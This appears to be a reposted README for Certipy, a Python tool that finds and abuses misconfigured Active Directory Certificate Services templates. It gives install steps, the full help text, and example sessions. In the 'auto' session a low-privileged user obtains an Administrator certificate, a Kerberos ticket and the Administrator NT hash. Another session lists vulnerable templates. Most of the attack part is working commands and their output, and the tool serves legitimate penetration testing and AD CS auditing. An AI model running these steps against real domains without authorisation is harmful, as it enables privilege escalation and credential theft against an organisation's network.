Certipy: Active Directory certificate abuse

Certipy

Certipy is a Python tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

Install

git clone https://github.com/ollypwn/Certipy.git
python3 setup.py install

Use

$ certipy -h
usage: certipy [-h] [-debug] [-target-ip ip address] [-nameserver nameserver] [-dns-tcp] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] target {find,req,auth,auto} ... Active Directory certificate abuse positional arguments: target [[domain/]username[:password]@]<target name or address> {find,req,auth,auto} Action find Find certificate templates req Request a new certificate auth Authenticate with a certificate auto Automatically abuse certificate templates for privilege escalation optional arguments: -h, --help show this help message and exit -debug Turn DEBUG output ON -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter connection: -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it -nameserver nameserver Nameserver for DNS resolution -dns-tcp Use TCP instead of UDP for DNS queries authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH

 

Examples

Auto

Automatically abuse certificate templates for privilege escalation. This action will try to find, request and authenticate as the Administrator user. Upon success, a credential cache will be saved and the NT hash will be decrypted from the PAC in the TGS_REP.

To demonstrate how easy it is to misconfigure certificate templates, the default certificate template Web Server has been copied to Copy of Web Server. The only change was that the EKU Server Authentication was removed and that authenticated users are allowed to enroll. This will allow enrollees to specify the subject and use it for client authentication, i.e. authenticate as any user. If no EKUs are specified, then the certificate can be used for all purposes. Alternatively, one could add the Client Authentication EKU.

In this example, the user john is a low privileged user who is allowed to enroll for the Copy of Web Server template.

$ certipy 'predator/john:Passw0rd@dc.predator.local' auto
[*] Trying template 'Copy of Web Server' with CA 'predator-DC-CA'
[*] Generating RSA key
[*] Requesting certificate
[*] Request success
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate to '1.crt'
[*] Saved private key to '1.key'
[*] Using UPN: 'Administrator@predator'
[*] Trying to get TGT...
[*] Saved credential cache to 'Administrator.ccache'
[*] Trying to retrieve NT hash for 'Administrator@predator'
[*] Got NT hash for 'Administrator@predator': fc525c9683e8fe067095ba2ddc971889

By default, the user Administrator is chosen. Use the -user parameter to create a certificate for another user.

Find

The find action will find certificate templates that are enabled by one or more CAs.

Find vulnerable templates

Use the -vulnerable parameter to only find vulnerable certificate templates.

$ certipy 'predator/john:Passw0rd@dc.predator.local' find -vulnerable
[*] Finding vulnerable certificate templates for 'john'
User Name : predator\john Groups : Certificate Authorities 0 CA Name : predator-DC-CA DNS Name : dc.predator.local Certificate Subject : CN=predator-DC-CA, DC=predator, DC=local Certificate Serial Number : 1976D0FEFCAFC9A84D02D305FA88D84D Certificate Validity Start : 2021-10-06 11:32:01+00:00 Certificate Validity End : 2026-10-06 11:42:01+00:00 User Specified SAN : Disabled CA Permissions Owner : BUILTIN\Administrator Access Rights ManageCertificates : BUILTIN\Administrator predator\Domain Admins predator\Enterprise Admins ManageCa : BUILTIN\Administrator predator\Domain Admins predator\Enterprise Admins Enroll : Authenticated Users
Vulnerable Certificate Templates 0 CAs : predator-DC-CA Template Name : Copy of Web Server Validity Period : 2 years Renewal Period : 6 weeks Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : None Authorized Signatures Required : 0 Extended Key Usage : Permissions Enrollment Permissions Enrollment Rights : predator\Domain Admins predator\Enterprise Admins Authenticated Users Object Control Permissions Owner : predator\Administrator Write Owner Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Write Dacl Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Write Property Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Vulnerable Reasons : 'Authenticated Users' can enroll, enrollee supplies subject and template allows authentication 'Authenticated Users' can enroll and template has dangerous EKU

Use the -user parameter to find vulnerable certificate templates for another user. By default, the current user will be used.

More


Source: Penetration Testing

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